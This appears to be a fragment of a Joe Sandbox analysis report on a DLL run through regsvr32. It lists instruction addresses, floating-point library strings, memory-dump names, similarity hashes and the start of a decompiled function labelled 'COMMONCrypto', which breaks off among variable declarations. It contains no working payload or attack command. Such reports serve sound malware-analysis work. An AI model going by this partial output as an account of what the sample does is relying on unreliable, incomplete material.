0x6dae6534
0x6dae6536
0x6dae671a
0x6dae671a
0x6dae6726
0x6dae672e
0x6dae6734
0x6dae673e
0x6dae6744
0x6dae6749
0x6dae674f
0x6dae6750
0x6dae6750
0x6dae6750
0x6dae6757
0x6dae675d
0x6dae675f
0x6dae676c
0x6dae676f
0x6dae677a
0x6dae677a
0x6dae677a
0x6dae6771
0x6dae6772
0x6dae6772
0x6dae6781
0x6dae6787
0x6dae678c
0x6dae678f
0x6dae6792
0x6dae67c5
0x6dae67cb
0x6dae67d1
0x6dae67d3
0x6dae67d9
0x6dae67dc
0x00000000
0x6dae67de
0x6dae67de
0x6dae67e1
0x6dae67e2
0x6dae67e8
0x6dae67ee
0x6dae67f0
0x6dae67f8
0x6dae67f8
0x6dae6800
0x6dae6803
0x6dae6809
0x6dae6809
0x6dae680b
0x6dae6812
0x6dae6812
0x6dae680d
0x6dae680d
0x6dae680d
0x6dae6814
0x6dae681a
0x6dae681d
0x6dae681f
0x6dae6825
0x6dae6825
0x6dae6821
0x6dae6821
0x6dae6821
0x6dae6849
0x6dae6851
0x6dae6860
0x6dae6861
0x6dae6864
0x6dae686a
0x6dae686b
0x6dae6871
0x6dae6877
0x00000000
0x00000000
0x6dae6879
0x6dae6879
0x6dae6881
0x6dae6881
0x6dae6887
0x6dae6889
0x6dae688b
0x6dae6893
0x6dae6893
0x6dae6893
0x6dae689b
0x6dae689b
0x6dae6794
0x6dae6794
0x6dae6797
0x6dae679d
0x6dae67b2
0x6dae67b7
0x6dae67b7
0x6dae68a1
0x6dae68ab
0x6dae653c
0x6dae653c
0x6dae653c
0x6dae653e
0x6dae6545
0x6dae654c
0x00000000
0x00000000
0x6dae6552
0x6dae6555
0x6dae6558
0x00000000
0x6dae655a
0x6dae655a
0x6dae6566
0x6dae656e
0x6dae6574
0x6dae657e
0x6dae6584
0x6dae6589
0x6dae658f
0x6dae6590
0x6dae6590
0x6dae6590
0x6dae6597
0x6dae659d
0x6dae659f
0x6dae65ac
0x6dae65af
0x6dae65ba
0x6dae65ba
0x6dae65ba
0x6dae65b1
0x6dae65b2
0x6dae65b2
0x6dae65c1
0x6dae65c7
0x6dae65cc
0x6dae65cf
0x6dae65d2
0x6dae6605
0x6dae660b
0x6dae6611
0x6dae6613
0x6dae6619
0x6dae661c
0x00000000
0x6dae661e
0x6dae661e
0x6dae6621
0x6dae6622
0x6dae6628
0x6dae662e
0x6dae6630
0x6dae6638
0x6dae6638
0x6dae6640
0x6dae6643
0x6dae6649
0x6dae6649
0x6dae664b
0x6dae6652
0x6dae6652
0x6dae664d
0x6dae664d
0x6dae664d
0x6dae6654
0x6dae665a
0x6dae665d
0x6dae665f
0x6dae6665
0x6dae6665
0x6dae6661
0x6dae6661
0x6dae6661
0x6dae6689
0x6dae6691
0x6dae66a0
0x6dae66a1
0x6dae66a4
0x6dae66aa
0x6dae66ab
0x6dae66b1
0x6dae66b7
0x00000000
0x00000000
0x6dae66b9
0x6dae66b9
0x6dae66c1
0x6dae66c1
0x6dae66c7
0x6dae66c9
0x6dae66cb
0x6dae66d3
0x6dae66d3
0x6dae66d3
0x6dae66db
0x6dae66db
0x6dae65d4
0x6dae65d4
0x6dae65d7
0x6dae65dd
0x6dae65f2
0x6dae65f7
0x6dae65f7
0x6dae66e3
0x6dae66e4
0x6dae66ea
0x6dae66ea
0x00000000
0x6dae6558
0x00000000
0x6dae653e
0x6dae66eb
0x6dae66eb
0x6dae66f8
0x6dae66ff
0x6dae6705
0x6dae6706
0x6dae6707
0x6dae670d
0x6dae6712
0x6dae6712
0x6dae6ae4
0x6dae6aee
0x6dae6aef
0x6dae6af5
0x6dae6af7
0x6dae6fda
0x6dae6fdc
0x6dae6fde
0x6dae6fe4
0x6dae6fe6
0x6dae6fec
0x6dae6fee
0x6dae73bc
0x6dae73bc
0x6dae73be
0x6dae73c4
0x6dae73cb
0x6dae73d1
0x6dae73d3
0x6dae7486
0x6dae7486
0x6dae7488
0x6dae7489
0x6dae748f
0x00000000
0x6dae73d9
0x6dae73d9
0x6dae73db
0x6dae73e1
0x6dae73e7
0x6dae73e9
0x6dae73ef
0x6dae73f6
0x6dae73f6
0x6dae73f8
0x6dae73f8
0x6dae7405
0x6dae740c
0x6dae7412
0x6dae7415
0x6dae7416
0x6dae741c
0x6dae741c
0x6dae7420
0x6dae7422
0x6dae7428
0x6dae742e
0x6dae7431
0x00000000
0x6dae7433
0x6dae7433
0x6dae743a
0x6dae743a
0x6dae7431
0x6dae7422
0x6dae73e9
0x6dae73db
0x6dae73d3
0x6dae6ff4
0x6dae6ff4
0x6dae6ff4
0x6dae6ff7
0x6dae6ffb
0x6dae6ffb
0x6dae6ffc
0x6dae700e
0x6dae701b
0x6dae702a
0x6dae7054
0x6dae7059
0x6dae705f
0x6dae7062
0x6dae7064
0x6dae7136
0x6dae713c
0x6dae720a
0x6dae7210
0x6dae7216
0x6dae7216
0x6dae7216
0x6dae7219
0x6dae721b
0x6dae721b
0x6dae7221
0x6dae7227
0x6dae722d
0x6dae722f
0x6dae7231
0x6dae7231
0x6dae7237
0x6dae723d
0x6dae723f
0x6dae724b
0x6dae7251
0x6dae7241
0x6dae7241
0x6dae7243
0x6dae7243
0x6dae7257
0x6dae7259
0x6dae725b
0x6dae725b
0x6dae7261
0x6dae7263
0x6dae7265
0x6dae726b
0x6dae726d
0x6dae736e
0x6dae736e
0x6dae7374
0x6dae7379
0x6dae7379
0x6dae737c
0x6dae737d
0x00000000
0x6dae7273
0x6dae7273
0x6dae7273
0x6dae7277
0x6dae7297
0x6dae7299
0x6dae729b
0x6dae72a1
0x6dae72a7
0x6dae72a9
0x6dae7350
0x6dae7350
0x6dae7353
0x00000000
0x6dae7359
0x6dae7359
0x6dae735f
0x00000000
0x6dae735f
0x6dae72af
0x6dae72af
0x6dae72af
0x6dae72b2
0x00000000
0x00000000
0x6dae72b4
0x6dae72b6
0x6dae72be
0x6dae72c7
0x6dae72c7
0x6dae72c9
0x6dae72c9
0x6dae72db
0x6dae72de
0x6dae72e4
0x6dae72ed
0x6dae72f0
0x6dae72fd
0x6dae7300
0x6dae7301
0x6dae7302
0x6dae7308
0x6dae730a
0x6dae7310
0x6dae7316
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae7318
0x6dae7318
0x6dae7318
0x6dae731a
0x00000000
0x00000000
0x6dae731c
0x6dae731f
0x6dae7442
0x6dae7442
0x00000000
0x6dae7325
0x6dae7325
0x6dae7327
0x6dae7329
0x6dae7329
0x6dae7329
0x6dae7331
0x6dae7334
0x6dae7334
0x6dae733a
0x6dae733c
0x6dae733e
0x6dae7345
0x6dae734b
0x6dae734d
0x00000000
0x6dae734d
0x00000000
0x6dae731f
0x00000000
0x6dae7318
0x00000000
0x6dae72af
0x6dae7279
0x6dae7279
0x6dae727b
0x6dae7281
0x6dae7289
0x6dae7289
0x6dae728c
0x6dae728c
0x00000000
0x6dae727b
0x00000000
0x6dae7365
0x6dae7365
0x6dae7366
0x6dae7366
0x00000000
0x6dae7273
0x6dae7142
0x6dae7148
0x6dae714d
0x6dae715f
0x6dae716e
0x6dae7173
0x6dae7179
0x6dae717c
0x6dae717e
0x6dae7198
0x6dae719a
0x00000000
0x6dae71a0
0x6dae71a0
0x6dae71a7
0x00000000
0x6dae71ad
0x6dae71b3
0x6dae71b9
0x6dae71bb
0x6dae71bb
0x6dae71bd
0x6dae71bd
0x6dae71c6
0x6dae71cd
0x6dae71d3
0x6dae71d6
0x6dae71d7
0x6dae71d9
0x6dae71d9
0x6dae71e1
0x6dae71e3
0x00000000
0x6dae71e9
0x6dae71e9
0x6dae71ef
0x6dae71f2
0x6dae7447
0x6dae744a
0x6dae7450
0x6dae7465
0x6dae746a
0x6dae746d
0x6dae71f8
0x6dae71f8
0x6dae71ff
0x00000000
0x6dae71ff
0x6dae71f2
0x6dae71e3
0x6dae71a7
0x6dae7180
0x6dae7180
0x6dae7186
0x6dae718c
0x6dae718d
0x6dae7383
0x6dae7383
0x6dae738a
0x6dae738b
0x6dae738c
0x6dae7391
0x6dae7394
0x6dae7394
0x6dae7394
0x6dae717e
0x6dae706a
0x6dae706a
0x6dae7070
0x6dae7072
0x6dae70aa
0x6dae70ac
0x00000000
0x6dae70ae
0x6dae70ae
0x6dae70b5
0x00000000
0x6dae70b7
0x6dae70bd
0x6dae70bf
0x6dae70c5
0x6dae70c5
0x6dae70c7
0x6dae70c7
0x6dae70c9
0x6dae70d2
0x6dae70d9
0x6dae70dc
0x6dae70dd
0x6dae70df
0x6dae70df
0x6dae70e7
0x6dae70e9
0x00000000
0x6dae70eb
0x6dae70eb
0x6dae70f1
0x6dae70f4
0x6dae7108
0x6dae710e
0x6dae7127
0x6dae712c
0x6dae712f
0x00000000
0x6dae70f6
0x6dae70f6
0x6dae70fd
0x00000000
0x6dae70fd
0x6dae70f4
0x6dae70e9
0x6dae70b5
0x00000000
0x6dae7074
0x6dae7074
0x6dae7077
0x6dae707d
0x6dae7096
0x6dae709b
0x6dae709e
0x6dae709e
0x6dae709e
0x6dae70a0
0x6dae70a0
0x6dae70a0
0x6dae7396
0x6dae7396
0x6dae7398
0x6dae7474
0x6dae747b
0x6dae7482
0x6dae7495
0x6dae749b
0x6dae749c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae739e
0x6dae73a4
0x6dae73a4
0x6dae73aa
0x6dae73aa
0x6dae73b6
0x00000000
0x6dae73b6
0x6dae6afd
0x6dae6afd
0x6dae6aff
0x6dae6b05
0x6dae6b07
0x6dae6b0d
0x6dae6b0f
0x6dae6eef
0x6dae6eef
0x6dae6ef1
0x6dae6ef7
0x6dae6efe
0x6dae6f04
0x6dae6f06
0x6dae6f6a
0x6dae6f6c
0x6dae6f72
0x6dae6f78
0x6dae6f7a
0x6dae6f80
0x6dae6f87
0x6dae6f87
0x6dae6f89
0x6dae6f89
0x6dae6f96
0x6dae6f9d
0x6dae6fa3
0x6dae6fa6
0x6dae6fa7
0x6dae6fad
0x6dae6fad
0x6dae6fb1
0x6dae6fb3
0x6dae6fb9
0x6dae6fbf
0x6dae6fc2
0x00000000
0x6dae6fc8
0x6dae6fc8
0x6dae6fcf
0x6dae6fcf
0x6dae6fc2
0x6dae6fb3
0x6dae6f7a
0x6dae6f08
0x6dae6f08
0x6dae6f0a
0x6dae6f10
0x6dae6f16
0x00000000
0x6dae6f16
0x6dae6f06
0x6dae6b15
0x6dae6b15
0x6dae6b15
0x6dae6b18
0x6dae6b1c
0x6dae6b1c
0x6dae6b1d
0x6dae6b2f
0x6dae6b3c
0x6dae6b4b
0x6dae6b75
0x6dae6b7a
0x6dae6b80
0x6dae6b83
0x6dae6b85
0x6dae6c57
0x6dae6c5d
0x6dae6d41
0x6dae6d47
0x6dae6d4d
0x6dae6d4d
0x6dae6d4d
0x6dae6d50
0x6dae6d52
0x6dae6d52
0x6dae6d58
0x6dae6d5e
0x6dae6d64
0x6dae6d66
0x6dae6d68
0x6dae6d68
0x6dae6d6e
0x6dae6d74
0x6dae6d76
0x6dae6d82
0x6dae6d88
0x6dae6d78
0x6dae6d78
0x6dae6d7a
0x6dae6d7a
0x6dae6d8e
0x6dae6d90
0x6dae6d92
0x6dae6d92
0x6dae6d98
0x6dae6d9a
0x6dae6d9c
0x6dae6da2
0x6dae6da4
0x6dae6ea5
0x6dae6ea5
0x6dae6eab
0x6dae6eb0
0x6dae6eb0
0x6dae6eb3
0x6dae6eb4
0x00000000
0x6dae6daa
0x6dae6daa
0x6dae6daa
0x6dae6dae
0x6dae6dce
0x6dae6dd0
0x6dae6dd2
0x6dae6dd8
0x6dae6dde
0x6dae6de0
0x6dae6e87
0x6dae6e87
0x6dae6e8a
0x00000000
0x6dae6e90
0x6dae6e90
0x6dae6e96
0x00000000
0x6dae6e96
0x6dae6de6
0x6dae6de6
0x6dae6de6
0x6dae6de9
0x00000000
0x00000000
0x6dae6deb
0x6dae6ded
0x6dae6df5
0x6dae6dfe
0x6dae6dfe
0x6dae6e00
0x6dae6e00
0x6dae6e12
0x6dae6e15
0x6dae6e1b
0x6dae6e24
0x6dae6e27
0x6dae6e34
0x6dae6e37
0x6dae6e38
0x6dae6e39
0x6dae6e3f
0x6dae6e41
0x6dae6e47
0x6dae6e4d
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae6e4f
0x6dae6e4f
0x6dae6e4f
0x6dae6e51
0x00000000
0x00000000
0x6dae6e53
0x6dae6e56
0x6dae6f19
0x6dae6f19
0x6dae6f1b
0x6dae6f20
0x6dae6f26
0x6dae6f2c
0x6dae6f2d
0x00000000
0x6dae6e5c
0x6dae6e5c
0x6dae6e5e
0x6dae6e60
0x6dae6e60
0x6dae6e60
0x6dae6e68
0x6dae6e6b
0x6dae6e6b
0x6dae6e71
0x6dae6e73
0x6dae6e75
0x6dae6e7c
0x6dae6e82
0x6dae6e84
0x00000000
0x6dae6e84
0x00000000
0x6dae6e56
0x00000000
0x6dae6e4f
0x00000000
0x6dae6de6
0x6dae6db0
0x6dae6db0
0x6dae6db2
0x6dae6db8
0x6dae6dc0
0x6dae6dc0
0x6dae6dc3
0x6dae6dc3
0x00000000
0x6dae6db2
0x00000000
0x6dae6e9c
0x6dae6e9c
0x6dae6e9d
0x6dae6e9d
0x00000000
0x6dae6daa
0x6dae6c63
0x6dae6c69
0x6dae6c6e
0x6dae6c80
0x6dae6c8f
0x6dae6c94
0x6dae6c9a
0x6dae6c9d
0x6dae6c9f
0x6dae6cb9
0x6dae6cbb
0x00000000
0x6dae6cc1
0x6dae6cc1
0x6dae6cc8
0x00000000
0x6dae6cce
0x6dae6cd4
0x6dae6cda
0x6dae6cdc
0x6dae6cdc
0x6dae6cde
0x6dae6cde
0x6dae6ce7
0x6dae6cee
0x6dae6cf4
0x6dae6cf7
0x6dae6cf8
0x6dae6cfa
0x6dae6cfa
0x6dae6d02
0x6dae6d04
0x00000000
0x6dae6d0a
0x6dae6d0a
0x6dae6d10
0x6dae6d13
0x6dae6d29
0x6dae6d2f
0x6dae6d35
0x6dae6d36
0x6dae6f33
0x6dae6f33
0x6dae6f3a
0x6dae6f3b
0x6dae6f3c
0x6dae6f41
0x6dae6f44
0x6dae6d15
0x6dae6d15
0x6dae6d1c
0x00000000
0x6dae6d1c
0x6dae6d13
0x6dae6d04
0x6dae6cc8
0x6dae6ca1
0x6dae6ca1
0x6dae6ca7
0x6dae6cad
0x6dae6cae
0x6dae6eba
0x6dae6eba
0x6dae6ec1
0x6dae6ec2
0x6dae6ec3
0x6dae6ec8
0x6dae6ecb
0x6dae6ecb
0x6dae6ecb
0x6dae6c9f
0x6dae6b8b
0x6dae6b8b
0x6dae6b91
0x6dae6b93
0x6dae6bcb
0x6dae6bcd
0x00000000
0x6dae6bcf
0x6dae6bcf
0x6dae6bd6
0x00000000
0x6dae6bd8
0x6dae6bde
0x6dae6be0
0x6dae6be6
0x6dae6be6
0x6dae6be8
0x6dae6be8
0x6dae6bea
0x6dae6bf3
0x6dae6bfa
0x6dae6bfd
0x6dae6bfe
0x6dae6c00
0x6dae6c00
0x6dae6c08
0x6dae6c0a
0x00000000
0x6dae6c0c
0x6dae6c0c
0x6dae6c12
0x6dae6c15
0x6dae6c29
0x6dae6c2f
0x6dae6c48
0x6dae6c4d
0x6dae6c50
0x00000000
0x6dae6c17
0x6dae6c17
0x6dae6c1e
0x00000000
0x6dae6c1e
0x6dae6c15
0x6dae6c0a
0x6dae6bd6
0x00000000
0x6dae6b95
0x6dae6b95
0x6dae6b98
0x6dae6b9e
0x6dae6bb7
0x6dae6bbc
0x6dae6bbf
0x6dae6bbf
0x6dae6bbf
0x6dae6bc1
0x6dae6bc1
0x6dae6bc1
0x6dae6ecd
0x6dae6ecd
0x6dae6ecf
0x6dae6f48
0x6dae6f4f
0x6dae6f4f
0x6dae6f4f
0x6dae6f56
0x6dae6f58
0x6dae6f5e
0x6dae6f5f
0x6dae74a2
0x6dae74a2
0x6dae74a3
0x6dae74a4
0x6dae74a9
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae6ed1
0x6dae6ed7
0x6dae6ed7
0x6dae6edd
0x6dae6edd
0x6dae6ee9
0x00000000
0x6dae6ee9
0x6dae6b0f
0x6dae74ac
0x6dae74ac
0x6dae74b2
0x6dae74b8
0x6dae74be
0x6dae74c0
0x6dae74c2
0x6dae74c9
0x6dae74c9
0x6dae74cb
0x6dae74cb
0x6dae74d4
0x6dae74d5
0x6dae74dd
0x6dae74e4
0x6dae74e7
0x6dae74e8
0x6dae74ee
0x6dae74ee
0x6dae74f2
0x6dae74f8
0x6dae74fa
0x6dae74fc
0x6dae7502
0x6dae7505
0x6dae7516
0x6dae7519
0x6dae751f
0x6dae7534
0x6dae7539
0x6dae7507
0x6dae7507
0x6dae750e
0x6dae750e
0x6dae7505
0x6dae74fa
0x6dae754a
0x6dae7551
0x6dae7559
0x6dae755a
0x6dae755c
0x6dae76a8
0x6dae76aa
0x6dae76ba
0x6dae76bd
0x6dae76bf
0x00000000
0x6dae76ac
0x6dae76b2
0x00000000
0x6dae76b2
0x00000000
0x6dae7562
0x6dae7562
0x6dae7568
0x6dae756b
0x6dae7571
0x6dae7574
0x6dae757a
0x6dae7580
0x6dae7582
0x6dae7584
0x6dae7586
0x6dae7586
0x6dae7588
0x6dae7588
0x6dae7595
0x6dae759c
0x6dae759f
0x6dae75a0
0x6dae75a2
0x6dae75a3
0x6dae75a3
0x6dae75ab
0x6dae75b1
0x6dae75b3
0x6dae75b9
0x6dae75bb
0x6dae75c1
0x6dae75c4
0x6dae7680
0x6dae7686
0x6dae769b
0x6dae76a0
0x6dae75ca
0x6dae75d0
0x6dae75d7
0x6dae75d7
0x6dae75d7
0x6dae75d7
0x6dae75c4
0x6dae75dd
0x6dae75dd
0x6dae75e3
0x6dae75e3
0x6dae75e3
0x6dae75e9
0x6dae75ef
0x6dae75f2
0x6dae75f8
0x6dae75fa
0x6dae75fc
0x6dae7602
0x6dae7604
0x6dae7604
0x6dae7604
0x6dae7602
0x6dae7609
0x6dae760a
0x6dae760c
0x6dae760e
0x6dae760e
0x6dae7610
0x6dae7612
0x6dae7618
0x6dae761a
0x6dae7620
0x6dae7620
0x6dae7626
0x6dae7628
0x00000000
0x00000000
0x6dae762e
0x6dae7630
0x6dae7632
0x6dae7632
0x6dae7634
0x6dae7634
0x6dae7644
0x6dae764b
0x6dae764e
0x6dae764f
0x6dae7651
0x6dae7651
0x6dae7655
0x6dae765b
0x6dae765d
0x6dae7663
0x6dae7669
0x6dae766c
0x6dae76ca
0x6dae76cd
0x6dae76d3
0x6dae76e8
0x6dae76ed
0x6dae766e
0x6dae766e
0x6dae7675
0x6dae7675
0x6dae766c
0x6dae76fe
0x6dae7703
0x6dae7712
0x6dae7715
0x6dae771f
0x6dae771f
0x6dae7721
0x6dae7723
0x6dae7729
0x6dae7731
0x6dae7737
0x6dae7739
0x6dae773f
0x6dae7741
0x6dae774e
0x6dae7743
0x6dae7743
0x6dae774a
0x6dae774a
0x6dae7751
0x6dae7757
0x6dae7758
0x6dae775e
0x6dae775e
0x6dae7763
0x6dae7766
0x6dae776a
0x6dae776a
0x6dae776b
0x6dae776d
0x6dae7773
0x6dae7779
0x00000000
0x00000000
0x00000000
0x6dae7779
0x6dae7620
0x6dae777f
0x6dae7781
0x6dae7784
0x6dae7786
0x6dae7789
0x6dae778f
0x00000000
0x6dae778f
0x6dae6425
0x6dae641c
0x6dae6413
0x6dae63a8
0x6dae63ad
0x6dae63b5
0x6dae63c9
0x6dae63ce
0x6dae63d2
0x6dae63d2
0x6dae63d5
0x6dae63e5
0x6dae77f4
0x6dae77f6
0x6dae77f7
0x6dae77f8
0x6dae77f9
0x6dae77fa
0x6dae77fb
0x6dae7800
0x6dae780d
0x6dae63eb
0x6dae77cd
0x6dae77cd
0x6dae77d4
0x6dae77d5
0x6dae77d6
0x6dae77df
0x6dae77e4
0x6dae77ec
0x6dae77f3
0x6dae77f3
0x00000000
0x00000000
0x00000000
0x6dae63b5

APIs

__floor_pentium4.LIBCMT ref: 6DAE64B6

Strings

1#QNAN, xrefs: 6DAE77A7
1#IND, xrefs: 6DAE7793
1#SNAN, xrefs: 6DAE779D
1#INF, xrefs: 6DAE77B1

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d4d75e4df653a12e1ada1d09cb512bad3d72b9e505b630e875196f1ca7ce7571
Instruction ID: da2df651766dce4332a42ceaf0b6c7096852fb980cb03c39beb4715361ab1cf0
Opcode Fuzzy Hash: d4d75e4df653a12e1ada1d09cb512bad3d72b9e505b630e875196f1ca7ce7571
Instruction Fuzzy Hash: B0D25975E082298BDB65CE28CD407EAB7B5FB44344F1849EAD50DE3241E778AAC1DF81

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9AAC0 Relevance: 9.0, Strings: 5, Instructions: 2712
COMMONCrypto

Download Yara Rule

C-Code - Quality: 42%

			E6DA9AAC0(void* __eflags) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				signed char _v8;
				signed char _v9;
				signed char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				signed char _v17;
				signed char _v18;
				char _v19;
				char _v20;
				char _v21;
				signed char _v22;
				void* _v23;
				signed int _v24;
				signed char _v25;
				void* _v26;
				signed int _v27;
				signed char _v28;
				void* _v29;
				signed int _v30;
				signed char _v31;
				void* _v32;
				signed int _v33;
				signed char _v34;
				void* _v35;
				signed int _v36;
				signed char _v37;
				void* _v38;
				signed int _v39;
				signed char _v40;
				void* _v41;
				signed int _v42;
				signed char _v43;
				void* _v44;
				signed int _v45;
				signed char _v46;
				void* _v47;
				signed int _v48;
				char _v49;
				char _v50;
				signed char _v51;
				void* _v52;
				signed int _v53;
				signed char _v54;
				void* _v55;
				signed int _v56;
				signed char _v57;
				void* _v58;
				signed int _v59;
				signed char _v60;
				void* _v61;
				signed int _v62;
				signed char _v63;
				void* _v64;
				signed int _v65;
				char _v66;
				char _v67;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed char* _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed char* _v128;
				signed int _v132;
				signed char* _v136;
				signed int _v140;
				signed char* _v144;
				signed int _v148;
				signed char* _v152;
				signed int _v156;
				signed char* _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				char _v425;
				short _v428;
				short _v430;
				intOrPtr* _v436;
				signed int _v440;
				intOrPtr* _v444;
				intOrPtr _v448;
				intOrPtr* _v452;
				signed int _v456;
				intOrPtr* _v460;
				intOrPtr _v464;
				intOrPtr* _v468;
				signed int _v472;
				intOrPtr* _v476;
				intOrPtr _v480;
				intOrPtr* _v484;
				signed int _v488;
				intOrPtr* _v492;
				intOrPtr _v496;
				intOrPtr* _v500;
				signed int _v504;
				intOrPtr* _v508;
				intOrPtr _v512;
				intOrPtr* _v516;
				signed int _v520;
				intOrPtr* _v524;
				intOrPtr _v528;
				intOrPtr* _v532;
				signed int _v536;
				intOrPtr* _v540;
				intOrPtr _v544;
				intOrPtr* _v548;
				signed int _v552;
				intOrPtr* _v556;
				intOrPtr _v560;
				intOrPtr* _v564;
				signed int _v568;
				intOrPtr* _v572;
				intOrPtr _v576;
				intOrPtr* _v580;
				signed int _v584;
				intOrPtr* _v588;
				signed int _v592;
				intOrPtr* _v596;
				signed int _v600;
				intOrPtr* _v604;
				signed int _v608;
				intOrPtr* _v612;
				signed int _v616;
				intOrPtr* _v620;
				signed int _v624;
				intOrPtr* _v628;
				signed int _v632;
				intOrPtr* _v636;
				signed int _v640;
				intOrPtr* _v644;
				signed int _v648;
				intOrPtr* _v652;
				signed int _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				short _v662;
				short _v664;
				short _v666;
				short _v668;
				short _v670;
				short _v672;
				short _v674;
				short _v676;
				short _v678;
				short _v680;
				short _v682;
				short _v684;
				short _v686;
				short _v688;
				short _v690;
				char _v691;
				signed char _v692;
				short _v696;
				short _v698;
				short _v700;
				short _v702;
				short _v704;
				short _v706;
				short _v708;
				short _v710;
				char _v711;
				signed char _v712;
				short _v716;
				short _v718;
				short _v720;
				short _v722;
				short _v724;
				short _v726;
				short _v728;
				short _v730;
				char _v731;
				signed char _v732;
				signed char _v736;
				signed char _v740;
				signed char _v744;
				signed char _v748;
				signed char _v752;
				signed char _v756;
				signed char _v760;
				signed char _v764;
				signed char _v768;
				signed char _v772;
				signed char _v776;
				signed char _v780;
				signed char _v784;
				signed char _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				char _v798;
				signed char _v800;
				short _v804;
				short _v806;
				short _v808;
				short _v810;
				short _v812;
				short _v814;
				short _v816;
				short _v818;
				short _v820;
				short _v822;
				short _v824;
				short _v826;
				char _v827;
				void _v828;
				short _v832;
				short _v834;
				short _v836;
				short _v838;
				short _v840;
				short _v842;
				short _v844;
				short _v846;
				short _v848;
				short _v850;
				short _v852;
				short _v854;
				char _v855;
				void _v856;
				short _v858;
				intOrPtr _v862;
				intOrPtr _v866;
				intOrPtr _v870;
				char _v872;
				signed char _v874;
				short _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				char _v890;
				signed char _v892;
				signed char* _v896;
				short* _v900;
				signed char* _v904;
				signed char* _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr* _v924;
				intOrPtr _v928;
				signed int _v932;
				intOrPtr* _v936;
				signed int _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr* _v956;
				intOrPtr _v960;
				char _v964;
				intOrPtr* _v968;
				char _v972;
				intOrPtr* _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				intOrPtr _v992;
				intOrPtr* _v996;
				intOrPtr _v1000;
				signed int _v1004;
				intOrPtr* _v1008;
				signed int _v1012;
				intOrPtr _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				intOrPtr* _v1028;
				intOrPtr _v1032;
				char _v1036;
				intOrPtr* _v1040;
				char _v1044;
				intOrPtr* _v1048;
				intOrPtr _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				intOrPtr* _v1068;
				intOrPtr _v1072;
				signed int _v1076;
				intOrPtr* _v1080;
				signed int _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr* _v1100;
				intOrPtr _v1104;
				char _v1108;
				intOrPtr* _v1112;
				char _v1116;
				intOrPtr* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				char* _v1132;
				signed short* _v1136;
				char* _v1140;
				short* _v1144;
				char* _v1148;
				short* _v1152;
				char _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				intOrPtr* _v1168;
				intOrPtr _v1172;
				signed int _v1176;
				intOrPtr* _v1180;
				signed int _v1184;
				intOrPtr _v1188;
				intOrPtr _v1192;
				intOrPtr _v1196;
				intOrPtr* _v1200;
				intOrPtr _v1204;
				char _v1208;
				intOrPtr* _v1212;
				char _v1216;
				intOrPtr* _v1220;
				intOrPtr _v1224;
				intOrPtr _v1228;
				char* _v1232;
				signed short* _v1236;
				char* _v1240;
				short* _v1244;
				char* _v1248;
				short* _v1252;
				char _v1256;
				intOrPtr _v1260;
				intOrPtr _v1264;
				intOrPtr* _v1268;
				intOrPtr _v1272;
				signed int _v1276;
				intOrPtr* _v1280;
